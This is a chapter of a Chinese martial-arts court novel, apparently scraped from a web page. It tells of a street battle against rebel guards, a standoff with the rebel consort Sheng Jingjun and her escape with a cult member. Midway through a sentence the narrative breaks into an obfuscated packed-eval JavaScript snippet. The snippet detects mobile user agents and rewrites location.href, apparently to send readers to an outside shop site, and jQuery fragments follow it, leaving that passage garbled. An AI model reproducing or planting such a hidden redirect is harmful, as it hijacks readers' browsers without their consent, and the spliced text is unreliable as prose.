76. 鹊桥仙(三十三)

作品:《效鸾飞

    巷冷人静,两旁的商铺也都掩着门,只偶尔能听到遥远的地方传来几声响动。


    秋白鹭把裹着秦岷的被褥铺开,两人倚坐在台阶上,静默着等待宇文鸿返回。


    虽然已经过去很久,但地道内气流凝滞不通,毒雾尚未完全散去,空气中弥漫着尘土和烟气,偶尔还能嗅到一阵刺鼻的气味。


    秋白鹭担心秦岷的身体经受不住,才坐了一会就起身:“往外避一避。”


    秦岷撑着墙壁站起来:“好,去哪?”


    秋白鹭伸手搭住他,正要返回,忽然从转角走出了一行人。


    当先的自然是盛静君,后面跟了个头戴羽冠的橘皮老头,另一侧是个盔甲鲜明的将军,青青红红紧随其后,后面又跟了三五十个禁军,在狭窄到只能容两三人同时通过的巷道里宛如长蛇。


    秋白鹭喃喃道:“又是羽冠鬼。”


    秦岷原本倦怠温和的眼神瞬间锐利了起来,他的目光在羽冠鬼身上短暂停留片刻,划过盛静君的脸,落在身姿挺拔的将军身上:“傅升,你少时就入府做我伴读,我也一向待你不薄。西营叛乱,我怀疑了你手下合伙架空你,都没有怀疑到你头上……为什么是你?”


    傅升不发一言。


    盛静君笑道:“陛下笼络人心的功夫已经如此之深,怎么不知道他姐姐与盛家结亲?”


    秦岷目光犹如冷电:“朕特意赦免你姐姐,许你接回家中照料,你还嫌不足吗?”


    傅升突然开口:“臣受皇恩,万死难报。今生不得不做不忠不仁的小人,只愿来生变作犬马猪羊,任君鞭策驱驰,以偿昔日恩义。”


    一番话说得漂亮,却也只是说得漂亮。


    秋白鹭冷笑:“鬼话连篇,什么东西!”


    傅升极快地瞥过盛静君,得到她一个肯定的眼神,立刻挥手:“上弩!”


    与此同时,盛静君侧过身跟羽冠鬼低语几句,那个老头战战兢兢地应下,开始做起法来。


    秋白鹭眉头一皱,从秦岷怀中抽出图南剑,将他掩在身后,挺身挥剑挡住了飞来的弩箭,也因为这一刻迟滞,没能及时带着秦岷撤离。


    秦岷勉力抽出燕居剑,护住秋白鹭身后,一同应对围杀过来的禁军。


    区区十几个人,尚且不足以让秋白鹭失措,她手腕轻送,一瞬之间刺出数十朵剑花,周天北斗仿佛一齐垂落剑尖,又被剑势牵引,弹射向对面的禁军。


    图南剑又比她之前所使的彩衣剑轻捷数倍,更是如虎添翼。


    她骨量不大,彩衣剑原就不够趁手,如今图南剑在手,用过数十招,更觉圆转如意,爱不释手。


    秋白鹭回头瞥见秦岷暂时能够自保,当机立断全力抢攻。


    趁着傅升被刺伤吃痛后退,秋白鹭使出周天北斗剑法,星光联耀,顷刻之间杀去五人,原本严密的防线有了疏漏,两人压力顿减。


    秋白鹭回身震开一柄长刀,拉住秦岷,正要带他退走,忽然听闻身后传来一声巨响,宇文鸿托着长枪如同奔马般冲了出来,路过二人身边时留下一句:“黑甲卫已到!”


    果然,黑色的洪流紧随其后,以排山倒海之势涌来,轻而易举摧垮了西营禁军的防线,倒灌向盛静君的方向。


    秦岷喜色难禁,喊道:“就地诛杀,不必留活。能诛首逆者,赐爵千户!”


    黑甲卫人人振奋。


    黑甲和银甲混在一处,交界处时不时飞溅血花,地砖被打湿了一片片,从青灰色变为一种斑驳的,泛红的黑色。


    几乎只在数息间,那一道黑白的交界线就向对面推进了一大截。


    局势已经逆转。


    傅升情知大势已去,一面呼喊着要手下继续抵抗,一面不着痕迹地退到了最后,拉起盛静君要跑。盛静君被他拉动,踉跄几步,却又心不甘情不愿地回首,看向仍在做法的羽冠鬼。青青面露急色,推了盛静君一把:“娘娘,留得青山在不怕没柴烧!”


    宇文鸿不知道羽冠鬼要做什么,但他早有警惕,抢先上,长枪一点将人戳倒。


    秋白鹭本欲护住秦岷后退,秦岷却先注意到敌后的动静:“他们要跑!”


    他目光灼灼:“不能让他们逃走,今日必要斩草除根!”


    秋白鹭轻叹,松开他的手,提气跃起,踩着一片黑压压的人头凌空掠过战场,高高跃起,如同一片羽毛般轻盈地落在盛静君一行人的面前。


    但她并不是一片羽毛。


    而是一堵墙,一座山,是王母划下的银河,割断了四人逃生的路。


    她转回身,面对他们轻轻一笑。


    盛静君甩开傅升的手,昂首道:“宓妃,既然已经离开,为什么心存反复,又要回来帮他?你既然不要名利又不要他,燕都中的事,和你有什么关系?”


    她句句有理,但秋白鹭听了不过一笑,微微眯眼,避开远处刀刃的反光,抬腿踢开傅升的刀,侧身避开峨眉刺,如同胁生双翼般自在穿梭在重围之中,图南的剑刃从青青颈上掠过,又刺入红红心口。


    血溅三尺,秋白鹭侧身避开。


    盛静君盯着倒下的尸体,瞳孔一缩,面色巨变。


    踢飞拼命想要杀过来的傅升,尚且带着血痕的剑尖指在盛静君的咽喉上,秋白鹭轻轻叹息:“我想回来,也就回来了,只求自己高兴而已。倒是你们,争来夺去,到头来不过是一剑而已。”


    昔日王孙,今朝白骨,哪怕拥有最煊赫的权势,难道能逃脱突如其来的一剑吗?


    尽管在天下距离权力最近的地方呆了十年,秋白鹭始终也不明白他们。


    秋白鹭想了想,认真说道:“我仗剑平生,只求时时任性而为——我已求到了。”


    盛静君眼角湿润,咬牙道:“我若也有一剑……”她没再说下去。


    含露的牡丹低眸看着这柄即将结束自己生命的剑,珠泪滚滚而落:“看来,我报仇的愿望是永远无法实现了。”


    为了替并不亲密的父兄报仇,向北漠割让土地,向魔教许诺神兵,又以羽冠鬼为倚仗……


    秋白鹭不算很了解她,却也不信她是这样的孝女:“你只为报仇?”


    盛静君抬起眼来微微一笑,五月牡丹,盛极至夭,一点残泪反而装点了她的艳丽:“总要有个名目的。”


    傅升跪在地上喷出一口血,捂住胸口,嘶吼道:“静君!”


    盛静君恍若未闻,轻轻道:“杀了我吧,成王败寇我都认命,只是绰君无辜,请你发一发善心,留她一命。”


    只要她剑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902677|178164||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    尖一送,顷刻之间,这个野心勃勃的女人就会丧命。


    秋白鹭涌起一股极为复杂的心绪,剑尖微颤,竟一时无法下手。


    盛绰君眼睫一动,窥见一点生机,正要开口,忽然听到后方传来一声呼喊:“秋白鹭!”


    秋白鹭闻声抬头,纵目望去。


    秦岷在黑甲卫重重保护之中,虚弱地靠在墙边,遥望着等待秋白鹭带回胜利的消息。他背后商铺的门却悄悄推开,手持利刃的少女从黑影中钻出来,站到他身后。


    刀尖斜斜抵在秦岷的脖颈上。


    盛绰君眼里带着掩饰不住的慌张,连拿着刀的手都在不停颤抖,她大声喊,但连喊声都带着颤音:“放了姐姐,不然,不然我杀了他!”


    秋白鹭的心里最先涌起的,是一阵莫名的暴怒。


    她静立原地默然不语,而深陷于敌阵中的宇文鸿立即转身,返回救援秦岷。


    盛静君眼睫颤了颤,轻声叹息:“没用的,傻孩子。”


    “谁说没用?”


    一阵清脆的笑声由远及近,紫色的身影飘飘欲仙,形如鬼魅般接近,金铃索弹射而出缠住盛静君的四肢,瞬间拖着她回退,甚至不顾秋白鹭的剑刃在她脖颈上摩擦出长长的血痕。


    盛静君连声痛呼。


    “好险赶到了,要多谢小妹妹拖延时机呢。”沈妙金咯咯笑着,“人我就收走啦,多谢,多谢。”


    话音未落,人已经消失在巷道尽头。


    魔教带走了盛静君。


    秋白鹭一时不防备,竟叫沈妙金偷走了人!


    秋白鹭咬牙切齿,踢倒傅升踏住心口一剑刺死,抬眼去看,果然见宇文鸿还没赶到,秦岷已经自己挣脱了盛绰君的束缚。


    秦岷好歹也是能接她一招的人,再怎么虚弱,又怎么会被一个没学过武艺的小女孩挟持?


    秋白鹭放下心,留下一句“我去追”,便运起登霞步,向沈妙金和盛绰君消失的方向追去。


    巷道狭窄,又多有转折,秋白鹭望不见二人身影,只能根据地面的痕迹追踪。每到岔路就不得不停下来仔细辨别,如此追过几个岔路口,就渐渐失去了二人的踪迹。


    她停步思索。


    按照她记忆中的地图,从这个地方生出三条路,其中一条路再走不远就是一个出口。


    秋白鹭别无他法,只有赌一赌,但她到达那个出口处,只看到了严密把守的黑甲卫,他们十分肯定地告诉她没有人从这里闯出去。


    那么,二人还在鬼市中躲藏?


    但鬼市之大,不是她一个人能搜查清楚的,她立即动身返回,将这个消息告诉宇文鸿。宇文鸿立刻传下令去,叫黑甲卫五人一组分散开搜查沈妙金和盛静君两人。


    叛乱的禁军死了不少,剩下的都已经被关押起来,等待问罪。


    鬼市有人悄悄把门打开了一条缝,偷觑着外面的情况——虽然在街道上还有甲士成队走动,铁甲碰撞发出簌簌的响动,但喊杀声终于是停了。


    秦岷坐上了皇帝的御辇,不见血色的手掀开青金色的锦罗,露出苍白的脸,向她招手:“鹭娘。”


    秋白鹭微微一笑,用口型对他说:“走了。”


    从此以后,我付篷舟远,君在帝台春。